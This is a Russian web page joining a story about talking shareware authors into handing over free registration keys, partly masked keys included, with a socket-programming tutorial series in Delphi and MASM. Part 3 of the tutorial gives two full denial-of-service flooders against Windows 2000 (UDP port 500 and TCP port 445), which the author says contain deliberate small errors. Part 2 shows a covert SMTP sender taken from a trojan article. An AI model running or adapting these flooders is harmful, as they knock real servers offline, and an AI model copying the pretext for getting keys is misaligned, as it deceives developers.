Здравствуйте, Большое спасибо за письмо, я рад что вам понравилась наша программа. Сейчас доступна версия 2.6 которая имеет более удобный интерфейс, больше функций и меньше ошибок. Скачать ее можно отсюда: http://www.*****software.com/pc2pcpro.zip ~2.5Mb. Для России у нас есть специальные цены, например Pic2Pic Pro стоит всего 200 рублей, купить ее можно здесь http://www.shareg.com/req.php3?prodid=****&referer=29574 (страница с информацией об оплате - http://www.shareg.net/clientfaq.php3). Мы конечно можем выслать вам регистрационный ключ бесплатно, но мне кажется что 200 рублей не большие деньги за такую программу. Вы как считаете? С уважением, Леонид Паршуков support@*****software.com http://www.*****software.com |
Надо сказать тут более легко и просто все получается, нежели в первом случае, но, похоже, автор не очень проникся положением Шепелева Антона. В ответ я черканул ему такое письмо:
Здраствуйте, Леонид. Огромное спасибо, что вы ответили. Сейчас хотел загрузить версию 2.6, но друг мне не разрешил, сказав, что это долго. Я считаю, что WaveL Pic2Pic Pro достойна своей цены и даже большего, но такие деньги я смогу получить может быть только на день рождения, в октябре, я знал, что цена программы 200 рублей, пиша первое письмо поэтому и обратился к вам. Буду очень вам благодарен, если вы сможете выслать регистрационый ключ. Спасибо! Шепелев Антон. |
А вот и долгожданное письмо:
Здравствуйте, Хорошо, можете использовать эту регистрационную информацию: Name - Shepelev Anton Key - ****-F884-****-CAB4-355C-32CD-530C-58CC-ABC2 Помните, что это конфиденциальная информация, пожалуйста, не распространяйте ее. С уважением, Леонид Паршуков support@*****software.com http://www.*****software.com |
Здесь все прошло гораздо проще:
Здравствуйте, Антон Присылайте регистрационное имя для первого варианта регистрации, см. меню Помощь\Зарегистрировать С уважением, Владислав, icq #125695458 Радиотехника, Схемотехника, Электроника - http://*****am.nm.ru QuickPic SchemCreator 3.4.x - редактор электрических схем. |
Пришлось, однако, скачать, чтобы регистрационное имя узнать.
Здраствуйте, Владислав Николаевич. Еще раз огромное спасибо, вот регистрационое имя: 8080-0A6C Шепелев Антон. |
Вот и наш серийник:
Здравствуйте Антон и Олег ! Вот регистрационные данные, вводите их аккуратно, иначе программа будут работать некорректно, и придется разрегистрировать программу (там же , в менню Помощь) и снова вводить: 8080-0A6C 10575921062******** Удачи ! С уважением, Владислав, icq #125695458 Радиотехника, Схемотехника, Электроника - http://*****am.nm.ru QuickPic SchemCreator 3.4.x - редактор электрических схем. |
Эта статья может свободно использоваться на любых сайтах, при условии полного сохранения содержания статьи, включая это предложение.
Сокеты 1.
| Автор: Danil WEB-сайт: http://www.danil.dp.ua |
| Приходит девица под утро с интернет-тусовки, вся в синяках, заплаканная: - Мама! Меня хакнули! |
В этой статье я немного расскажу о сокетах и о граблях, на которые я понаступал, программируя различные клиентские и серверные приложения на протоколе TCP/IP. Постараюсь объяснить простым языком для неспециалистов. Здесь будут даны самые начальные сведения и будет попытка обобщения. В некоторых статьях есть такая фраза - "для ... необходимо знать это и то, а для тех кто не знает - идите смотрите там, не знаю где". Теперь будет ясно "где"; и эти статьи, я думаю, могут быть справочником в дальнейшем. Будет рассмотренна работа с сокетами в m$ windows. Для программирования сокетов в никсах различие очень незначительны (все функции и структуры мелкософт постарался без изменений передрать) и основные из них рассмотрены в статьях, ссылки на которые приведены в конце, в разделе "Что еще почитать". Программа, использующая сокеты, может работать с одним сокетом или с множеством одноременно "открытых" сокетов (сокетный движок). Сразу стоит выделить различие между блокирующими (асинхронными) и неблокирующими (синхронными, требующими синхронизацию) сокетами.
Попытка соединения и приема данных может быть вызванна в блокирующем режиме (отправка всегда неблокирующая - просто добавление в очередь сокета данных). Это значит, что пока программа не соеденится или не примет данные, передача управления на следующий оператор не происходит. Это подходит для приложений, использующих один сокет, где ожидание приема данных обязательно, в программах с сокетным движком (много сокетов), где создается несколько отдельно работающих процессов с линейными алгоритмами и т.п.
Или же работа с сокетным движком может бытиь реализована в неблокирующеим режиме. При этом сразу же, не дожидаясь соединения или приема данных, происходит передача управления на следующий оператор программы. В последующем алгоритме необходимо использовать оператор select (переключение) и делать опросы сокетов на предмет приняты/нет данные. Обычно это выполняется в цикле - выход по установленному тайм-ауту (количество произведенных опросов сокета, при котором можно считать, что произошла ошибка или скорость соединения неудовлетворительна) или с использованием работы с назначением и реакцией сообщений операционной системы.
Итак, вначале некоторый ликбез. Программы, о которых пойдет речь ниже, делятся на клиенты и серверы. Вначале необходимо рассмотреть минимум используемых функций, для работы этих программ. В m$ windows работой с сокетами "заведует" winsock.dll. Для разных языков программирования синтаксис вызова функций из этой DLL незначителен. В Delphi, например, в катологе Source находится файл winsock.pas, который всего лишь объявляет нужные функции и структуры данных. При подгрузке модуля WinSock в uses, их можно вызывать с синтаксисом паскаля, но от этого принцип их работы не изменится. Кстати, не советовал бы использовать стандартные компоненты Delphi и Builder (TServerSocket, TClientSocket) из-за их глючности. Если не очень хочется использовать стандартные winsock-функции, то можно взять набор компонент Indy. Вот функции winsock:
int WSAStartup (WORD wVersionRequested, LPWSADATA lpWSAData); |
int WSACleanup; |
SOCKET socket (int af, int type, int protocol); |
int closesocket (SOCKET s); |
int bind (SOCKET s, const struct sockaddr FAR* name, int namelen); |
int connect (SOCKET s, const struct sockaddr FAR* name, int namelen); |
int WSAAsyncSelect (SOCKET s, HWND hWnd, unsigned int wMsg, long lEvent); |
int select (int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout); |
int WSAEventSelect (SOCKET s, WSAEVENT hEventObject, long lNetworkEvents); |
int send (SOCKET s, const char FAR * buf, int len, int flags); |
int recv (SOCKET s, char FAR* buf, int len, int flags); |
Кстати, и в блокирующих и в неблокирующих сокетах, используется так или иначе функция [...]select. Только опрос о состоянии очереди сокета мы производим сами (неблокирующий режим) или это делает операционная система (блокирующий).
Преобразование адреса
Вот пример функции на Delphi, которая преобразует адрес из имени или спецификации ip4, в четырехбайтное значение, требующееся для структуры sockaddr_in, с которой работает сокет:
uses WinSock;
function d_addr(IPaddr : string) : Cardinal;
var
pa: PChar;
sa: TInAddr;
Host: PHostEnt;
begin
Result:=inet_addr(PChar(IPaddr));
// Перевод если адреа не в ip4
if Result=INADDR_NONE then
begin
host:=GetHostByName(PChar(IPaddr));
if Host = nil then
exit
else
begin
// Преобразование
pa := Host^.h_addr_list^;
sa.S_un_b.s_b1 := pa[0];
sa.S_un_b.s_b2 := pa[1];
sa.S_un_b.s_b3 := pa[2];
sa.S_un_b.s_b4 := pa[3];
with TInAddr(sa).S_un_b do
Result:=inet_addr(PChar(IntToStr(Ord(s_b1)) + '.' + IntToStr(Ord(s_b2)) + '.' +
IntToStr(Ord(s_b3)) + '.' + IntToStr(Ord(s_b4))));
end;
end;
end;
|
Использование блокировки в некоторых программах:
Сервер. Проще говоря, задача сервера открыть порт на компьютере и "висеть", принимая команды или некоторые данные от клиента по инициализированному порту. Например, FTP-сервер открывает 21 порт и обрабатывая определенные команды от клиента, выполняет необходимые операции с файловой системой. POP3-сервер открывает 110 порт и занимается приемом электронных сообщений (e-mail). SMTP (25 порт) - отправка писем. TelNet (23), SSh (22) и т.д. Обычно используются блокирующие сокеты, потому что следующие за приемом данных операторы - это обработка принятых данных. Нет смысла делать передачу на них управления, пока эти данные не приняты. Сервер может "занять" несколько портов, принимать данные от множества клиентов, но все равно из-за постоянного опроса select инициализированных сокетов и черезчур больших требований к алгоритму корректной обработки данных, это не лучшее решение для сервера. Хотя есть исключения и все зависит от приверженности программиста к тому или иному способу. Клиент. Задача клиента - соедениться с сервером и посылать ему (принимать от него) данные. Естественно, если клиент пытается соедениться по порту, на котором по указанному адресу не "висит" сервер, то будет ошибка соединения. Если сервер проинициализирован на другой протокол (UDP, ICMP, TCP,...) или вид обмена данными, а клиент на другой, то соединение скорее всего произойдет, но обмен данными станет невозможен. В случае, если клиент работает с сокетным движком (несколько сокетов), то я обычно использую блокирующие сокеты, работающие каждый на своей нити (Threads) или процессе (Process) с минимальным приоритетом. Таким образом достигается необходимая многозадачность, параллельность работы и, в то же время, удобно обрабатывать принятые/отправленные данные в несинхронном режиме работы. Таким образом достигается упрощение алгоритма и минимальное количество выполняемых операций из-за того, что нет необходимости постоянно вызывать select. Различные сканеры, брутфорсеры. Задача - создать максимальное количество сокетов, поддерживаемое операционной системой для достижения максимальной скорости сканирования или перебора. Здесь надо очень хорошо продумывать сокетный движок. Предыдущий способ создания клиента хорош для относительно небольшого количества одновременно проинициализированных сокетов. Иначе, из-за очень большого количества однновременно запущенных процессов, повышается нагрузка на ядро системы. Здесь все зависит от скорости соединения и компьютерного "железа". Можно использовать как блокирующие, так и неблокирующие сокеты. При современном развитии компьютерного "железа" и относительно небольшой скорости соединения (DialUp, выделенка с низкой скоростью), я бы порекомендовал использовать способ, рассмотренный выше. Количество нитей 255 вполне "потянет" практически любой компьютер, а большее количество из-за скорости соединения использовать нет смысла. При очень хорошем канале (можно создать практически неограниченное количество сокетов) или не очень хорошем компьютере (всего один процесс обработки), надо все-таки использовать неблокирующие сокеты. Несмотря на эти преимущества, кроме рассмотренных недостатков синхронных сокетов, будет рассмотрено еще несколько в примерах, во второй статье.Создание отдельной нити, процесса (Threads)
Для создания отдельного процесса обработки сокета при использовании сокетного движка (несколько сокетов, которые должны работать параллельно), необходимо этот процесс описать. Вот небольшой пример описания, создания и завершение процесса на Delphi:
uses WinSock;
//Описываем процесс как класс, типа TThread
type
TScaner = class(TThread)
Sock : TSocket;
private
protected
procedure Execute; override;
procedure Run;
end;
//забиваем место в памяти под процесс
var
Scaner : TScaner;
//фунцция, вызываемая при создании процесса
procedure TScaner.Execute;
var
begin
//запуск дополнительной фунцции процесса
Synchronize(Run);
//закрытие сокета
closesocket(Sock)
//Прервать процесс
Terminate;
end;
//дополнительная фунцция
procedure TScaner.Run;
var
begin
end;
//программа
begin
//создать процесс, но пока не запускать
Scaner:=TScaner.Create(true);
//Освободить память при прерывании процесса
Scaner.FreeOnTerminate:=true;
//установить приоритет
Scaner.Priority:=tpLowest;
//запустить процесс
Scaner.Resume;
end.
|
Этот прием очень удобен, например, для вызова обработки сокета и прерывания по какой-либо клавише. На клавишу "Start" цепляем создание процесса, а на клавишу "Stop" - Scaner.Terminate. Можно также описать процедуру Terminate процесса, где будет closesocket. Этот процесс будет работать независимо от основной программы. Правда для синхронизации его с VCL главного окна, его необходимо немного дописать. Этот прием одинаково удобен и для неблокирующего (создается процесс, в котором уже идет цикл по select по множеству сокетов) и для блокирующего сокета (создается много процессов и для каждого свой сокет) при написании различных клиентов и сканеров. В частности, он использовался мной для написания моей многонитевой программы "DScan", которая включает универсальный клиент, сканер, брутфорсер и предоставленна со всеми исходниками.
Для получения первичных сведений, поданной информации вполне достаточно. Во второй части будут приводится примеры простейших программ с использованием сокета и с подробными комментариями.
P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
Сокеты 2 (Кодинг блокирующих сокетов).
| Автор: Danil WEB-сайт: http://www.danil.dp.ua |
| Если каждый китаец напишет по строчке кода - они ж задавят Билла Гейтса насметрь. |
Простейший клиент
Рассмотрим пример простейшего SMTP-клиента, отсылающего в скрытом режиме некоторую информацию на указанный e-mail. Пример возьмем из моей статьи Troyan #1. Используется блокирующий сокет. Рассмотрим более подробно немного измененный кусок на Delphi, отвечающий за инициализацию и соединение с SMTP-сервером:
// Адрес в нормальном виде SMTP-сервера MySmtp:='freemail.ukr.net'; // Инициализируем сокетную DLL WSAStartUp(257, wsadata); // Инициализируем сокет для соединения с SMTP-сервером // Протокол - TCP/IP, получение данных - SOCK_STREAM sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); sin.sin_family := AF_INET; // Порт SMTP-сервера - 25 sin.sin_port := htons(25); // Преобразуем адрес в четырехбайтное число с помощью функции, // рассмотреной в первой статье sin.sin_addr.S_addr:=d_addr(MySmtp); // Соединение с сервером (адрес и порт указаны в структуре sin, // sock - сокет для работы с указанным сервером по протоколу TCP/IP connect(sock,sin,sizeof(sin)); |
Отправка данных
Как уже говорилось в первой статье, send - это неблокирующая операция. Здесь есть небольшие грабли. Если нам необходимо отправить кусок данных ОПРЕДЕЛЕННОГО размера, то send может мгновенно положить в очередь кусок данных (сколько сможет), а остальное из-за неблокирующего режима просто не успеть отправить, перейдя на выполнение следующего кода. Т.к. эта функция возвращает количество отправленных байт, то можно написать функцию доотправки данных. Вот исходники на Delphi:
// DTrSend. первый параметр - буфер для отправки, второй параметр - длинна,
// третий параметр - сокет.
function DTrsend(Buf : string; LenStr : Cardinal; DTrsock : TSocket) : Cardinal;
var
DopI, DopI1, DopI2, DopI3 : Integer;
begin
Screen.Cursor:=crHourGlass;
Result:=send(DTrsock,Buf,0,0);
// Проверка соединения - отправка 0
if Result=SOCKET_ERROR then
begin
Screen.Cursor:=crDefault;
Application.MessageBox(PChar('Error send data. Server was disconnected,
closed or not available.'), 'Error', mb_Ok + mb_TaskModal + mb_IconStop);
closesocket(DTrsock);
Result:=0;
exit;
end;
// обнудение тайм-аута
DopI:=0;
// сколько отправлено
DopI2:=0;
// сколько нужно отправить
DopI3:=LenStr;
// цикл отправки
while true do
begin
// отправка данных с нужной позиции нужного кол-ва
DopI1:=send(DTrsock,Buf[DopI2+1],DopI3,0);
// подсчет отправленного
DopI2:=DopI2+DopI1;
// подсчет сколько нужно отправить
DopI3:=DopI3-DopI1;
// если все отправили или тайм-аут - выход
if (DopI2>=LenStr)or(DopI>666) then
break;
inc(DopI);
sleep(100);
end;
Result:=DopI2;
if Resultthen
Screen.Cursor:=crDefault;
end;
|
А вот исходники на MASM:
; MySend. первый параметр - буфер для отправки, ; второй параметр - длинна, третий параметр - сокет. MySend PROC StrSend : DWORD, LenStr : DWORD, clnt : DWORD ; edi указывает на буфер для отправки mov edi, StrSend ; ebx - сколько нужно отправить mov ebx, LenStr ; dll2 - сколько отправленно mov dll2, 0 ; dll0 - тайм-аут mov dll0, 0 ; Цикл отправки .WHILE TRUE ; Отправка данных invoke send, clnt, edi, ebx, 0 ; Добавление в dll0 количества отправленных данных add dll0, eax ; Если отправленно необходимое число - выход из цикла mov eax, LenStr .BREAK .IF ( dll0 >= eax ) ; Если тайм-аут - выход из цикла inc dll2 .BREAK .IF ( dll2 >= 666 ) ; переставить указатель на позицию данных в буфере, которые еще не отправленны add edi, dll0 ; пересчитать кол-во отправляемых данных sub ebx, dll0 .ENDW invoke Sleep,10 ret MySend ENDP |
Также пишется и функции отправки данных. Только вместо send - recv. Только recv может работать на синхронном или асинхронном сокете или на сервере. Для клиента на блоктрующем сокете - все один к одному. Для неблокирующего сокета и сервера на блокирующем - см. ниже.
Клиент на асинхронном сокетном движке
Рассмотрим другую мою статью Взлом e-mail #1. Для создания сокетного движка использовались блокирующие сокеты и определенное количество отдельно работающих процессов. Каждый процесс содержал сокет. Еще один пример сокетного движка в асинхронном режиме можно посмотреть в моей программе "DScan v.1.2". Побольшому счету, эти два примера отличаются только созданием процессов работы с сокетами. Такой сокетный движок имеет свои преимущества по сравнению с неблокирующим режимом и свои недостатки. Преимущества в том, что оператор select вызывается в блокирующем режиме самой системой и нет постоянного цикла опроса, загружающего процессор. Плюс то, что все процессы работают отдельно и при возникновении какой-либо ошибки, процесс, в котором произошла ошибка, просто останавливается с последующим освобождением занятой им памяти. Остальные при этом продолжают работать. Как уже говорилось в первой статье, этот способ (по моему мнению) идеально подходит для DiulUp и не очень широкого канала при выделенке. Для очень хорошего канала и с очень большим количеством процессов, такой сокетный движок будет очень загружать ядро системы. Особенно это неприемлимо для win-9x/me, где отвратительно сделана многозадачность, распределение памяти, синхронизация и "синий экран" при многопоточных приложениях - обычное дело.
Простейший сервер
Рассмотрим пример простейшего сервера на MASM (почему на MASM - смотри мои статьи по BackDoor). Используется блокирующий сокет, с реакцией на соединение, получение данных от клиента и разрыв связи. Реакция на эти действия производится в функции обработки оконных сообщений, которую мы связываем с сокетом функцией WSAAsyncSelect (см. первую статью). Этот наш сервер будет реагировать на соединение и получение данных от клиента тем, что будет отвечать строкой 'hello'. Вот исходники на MASM:
.386 .model flat,stdcall option casemap:none ; Подгружаемые модули ; ВНИМАНИЕ!!! необходимо правильно прописать пути к файлам *.lib и *.inc include \masm32\include\windows.inc include \masm32\include\wsock32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wsock32.lib ; ФУНКЦИЯ создания окна WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD ; КОНСТАНТЫ .DATA Hello db "Hello",0 ClassName db "DTR13Class",0 AppName db "DTR13",0 IconName db "TDIcon",0 wsadata WSADATA <> sin sockaddr_in <> WM_SOCKET equ WM_USER + 100 ; ПЕРЕМЕННЫЕ .DATA? hInstance dd ? CommandLine dd ? sock dd ? client dd ? BufStr db 6666 dup (?) ; Буфер приема Port dd ? ; Порт ; Раздел кода .CODE start: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT invoke ExitProcess,eax ;--------------------------------------- WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND ; Создадим окно для обработки сообщений mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInstance pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,hInstance,addr IconName mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc ; Создать маленькое окно invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL mov hwnd,eax ; Показать окно invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd ; Инициализация сокетных функций invoke WSAStartup,101h,addr wsadata invoke socket,AF_INET,SOCK_STREAM,0 mov sock,eax ; реакция на соединенрие, получение данных и закрытие сокета invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ+FD_CLOSE mov sin.sin_family,AF_INET ;порт = 10001 mov Port,10001 invoke htons,Port mov sin.sin_port,ax ; Адрес - любой для сервера mov sin.sin_addr,INADDR_ANY ; Связь адресов и порта с сервером invoke bind, sock,addr sin,sizeof sin invoke listen,sock,SOMAXCONN ; Цикл обработки сообщений от m$ windows .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp ;--------------------------------------- ; Функция обработки сообщений окну WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM ; Реакция на создание окна .IF uMsg == WM_CREATE ; Реакция на закрытие проги .ELSEIF uMsg == WM_DESTROY invoke WSACleanup invoke PostQuitMessage,NULL ; Реакция на сообщение от сокета .ELSEIF uMsg == WM_SOCKET mov eax,lParam ; Соединение .IF ax == FD_ACCEPT shr ax,16 .IF ax == NULL ; При соединении инициализируем сокет и отправим клиенту строку invoke accept,sock,0,0 mov client,eax invoke send,client,addr Hello,sizeof Hello,0 invoke Sleep,10 .ENDIF ; Реакция на получение данных от клиента .ELSEIF ax == FD_READ ; Обнулим буфер для получения mov ecx,6666 mov edi,offset BufStr lll: mov byte ptr [edi],0 inc edi loop lll mov eax,wParam mov client,eax ; Получим данные в BufStr invoke recv,client,addr BufStr,sizeof BufStr,0 ; При ошибке - получим еще раз .IF eax == SOCKET_ERROR invoke recv,client,addr BufStr,sizeof BufStr,0 .ENDIF ; Отправим клиенту строку invoke send,client,addr Hello, sizeof Hello, 0 invoke Sleep,10 ; Реакция на разрыв соединения .ELSEIF ax == FD_CLOSE mov eax,wParam ; Закроем сокет invoke closesocket, eax .ENDIF .ELSEIF invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp END start |
Компилим, запускаем. Должно появиться маленькое окно. Теперь можно написать клиент или просто соединиться TelNet-ом на 10001 порт. Сервер при соединении и посылке ему любых данных, будет слать обратно строку "Hello". Можно этот код переписать на Delphi или C - все используемые функции из ядра виндов. Отличается только синтаксис. Также следует отметить, что принцип действия всех серверов и в никсах и в виндах примерно одинаков. Поняв принцип работы одного - примерно понимаешь принцип работы всех.
"Грабли" сервера
Мы примерно поняли принцип работы серверов. Теперь рассмотрим наиболее распространенные ошибки при написании этих самых серверов. Серверу надо принять столько данных, сколько мы ему послали. Так как принимает сервер их частями и в функции реакции на прием данных в рассмотренном выше примере их нельзя как-то докачать (после срабатывания FD_READ, recv для докачки не может получить из стека остальные данные потому, что еще не была вызвана функция получения сообщения от винды и доступ к очереди сокета закрыт). Значит необходимо хранить где-то все сокетные соединения и часть уже пришедших на них данных и при срабатывании FD_READ, накапливать эти данные. При достижении необходимого размера или комбинации символов, соответствующих сигналу конца пакета, соответственно реагировать. Структура сервера при этом усложнится. Необходимо выбрать для себя режим работы с пакетами - по размеру или по определенной комбинации символов - признак окончания пакета. Теперь о самом главном. В виндоуз есть несколько очень уникальных WinAPI функций, которые допускают DoS. Это функции lstr..., printf и прочие. Для сервера, нас интересуют именно функции для работы со строками с нулевым символом на конце (lstr...). Например, буфер накопления данных от клиента имеет определенный размер. И сервер понимает окончание пакета, как получение от клиента куска данных этого размера. Пока не накопит - не реагирует. Можно подобрать размер отправляемых данных таким образом, что накапливаемые данные превысят размер буфера, попадут в область кода или в область других данных и произойдет выполнение определенных команд или отказ работы всего сервера. Если в конце принимаемого пакета обязательно должна стоять определенная комбинация символов, то посылая большие куски данных, не содержащие эти символы, мы также можем сделать переполнение буфера. Также можно поиздеваться над сервером, посылая данные с разными флагами (например, MSG_OOB - самый простой Nuke на 139 порт), попробовать инициализировать соединение как UDP, ICMP и т.д. и т.п. Есть целый ряд уязвимостей различных сервисов, основанных на этом принципе. В основном, это способы удаленного отказа работы сервера. Найти уязвимость, заставляющую сервер исполнять определенный кусок данных, переполнив буфер - это высший пилотаж. В следующей статье будут рассмотрены несколько самых простых примеров удаленного отказа в обслуживании.
В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к зависанию всей системы в целом.
P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
Сокеты 3 (Кодинг неблокирующих сокетов).
| Автор: Danil WEB-сайт: http://www.danil.dp.ua |
| Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется. - Ты чего так долго молчал? - спрашивает рассказчик. - Да коннект плохой, наладить не мог... |
Удаленный отказ работы
Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:
program IKE_attack;
uses
WinSock;
const MyComp = 'ADDRESS';
var
wsadata : TWSAData;
sin: TSockAddrIn;
sock: TSocket;
I : Cardinal;
Buf : string;
begin
WSAStartUp(257, wsadata);
// Инициализируем сокет для соединения с удаленным компьютером по UDP
// Протокол - UDP, отправка данных - SOCK_DGRAM
sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sin.sin_family := AF_INET;
// Порт - 500
sin.sin_port := htons(500);
// Преобразуем адрес в четырехбайтное число с помощью функции,
// рассмотреной в первой статье
sin.sin_addr.S_addr:=d_addr(MyComp);
// Соединение
I:=connect(sock,sin,sizeof(sin));
// если нельзя соединиться - выход
if Ithen
halt(1);
// Формирование мусора для отсылки
Buf:='';
for I:=1 to 1024 do
Buf:=Buf+chr(30+round(60));
// Посылка мусора с помощью функции,
рассмотренной во второй статье
while true do
DTrsend(Buf,1024,sock);
end.
|
Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:
program port445TCP;
uses
WinSock;
const
maxproccess=250; // Количество процессов
// Флаги
CLOSE_SOCK=0;
CONNECTING_SOCK=1;//
CONNECTED_SOCK=2; //
// Таймаут
TIME_OUT=10;
var
// Массив сокетов
sock : array [1..maxproccess] of TSocket;
// Массив флагов
stat : array [1..maxproccess] of Byte;
time : array [1..maxproccess] of Byte;
wsa:WSAData;
addr : Tsockaddr;
x : integer;
// Сигнал блокировки сокета
on_sock : LongInt = 1;
off_sock : LongInt = 0;
wfds_empty : Boolean;
wfds : Tfdset;
tv : Ttimeval;
buf : array[1..8500] of char;
begin
// Обнулим буфер отправки
FillChar(Buf,8500,0);
WSAStartup($101,wsa);
// Начальная установка флагов
for x:=1 to maxproccess do
stat[x]:=CLOSE_SOCK;
>repeat // бесконечный цикл
// Инициализация сокетов
for x:=1 to maxproccess do
begin
// Если сокет свободен
if stat[x]=CLOSE_SOCK then
begin
sock[x]:=socket(AF_INET,SOCK_STREAM,0);
time[x]:=TIME_OUT;
// ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
ioctlsocket(sock[x],FIONBIO,on_sock);
addr.sin_family:=AF_INET;
// Порт
addr.sin_port:=htons(455);
// Здесь необходимо указать адрес и используется функция
// преобразования адреса из первой статьи
addr.sin_addr.s_addr:=d_addr('ADDRESS');
// Неблокирующее соединение
connect(sock[x],addr,sizeof(addr));
stat[x]:=CONNECTING_SOCK;
end;
end;
// Использование макросов FD_ для установок и проверки
// нужно ли делать select
FD_ZERO(wfds);
wfds_empty:=true;
for x:=1 to maxproccess do
begin
if stat[x]=CONNECTING_SOCK then
begin
FD_SET(sock[x],wfds);
wfds_empty:=false;
end;
end;
// select-ируем сокеты с флагом "сокет соединяется",
// с установкой таймаута и проверкой на
// возможность отсылки данных
if not wfds_empty then
begin
tv.tv_sec:=1;
tv.tv_usec:=0;
select(0,nil,@wfds,nil,@tv);
end;
// Проверка тайм-аута
for x:=1 to maxproccess do
begin
if stat[x]<>CLOSE_SOCK then
begin
dec(time[x]);
// Если время на соединение истекло -
// закрываем сокет с установкой флага
if time[x]=0 then
begin
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
// Проверка на соединение (соединились ли уже)
if stat[x]=CONNECTING_SOCK then
begin
// Если соединение уже произошло и можно отправлять данные -
// установим флаг
if FD_ISSET(sock[x],wfds) then
stat[x]:=CONNECTED_SOCK;
end;
// Проверка на возможность отправки
if stat[x]=CONNECTED_SOCK then
begin
FD_CLR(sock[x],wfds); // обнулим буфер сокета
send(sock[x],buf[1],8500,0);
// Отправка данных и закрытие сокета
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
until
false;
end.
|
Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.
Клиент на синхронном сокетном движке
Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях.
В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".
P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
Сокеты 4 (Использование DScan).
| Автор: Danil WEB-сайт: http://www.danil.dp.ua |
| - Миколо, ты що свою домашню строныцю на домен "ru" засувов? - А шо? - Так то ж "Раша"! - От, гады! А я думав, Ридно Украина! |
В этой статье я расскажу примеры использования моей программы "DScan". Вместе с исходниками и предыдущими статьями так будет легче понять принцип работы сокетного движка. Первые статьи и исходники можно взять на http://www.danil.dp.ua
Сканер по диапазону
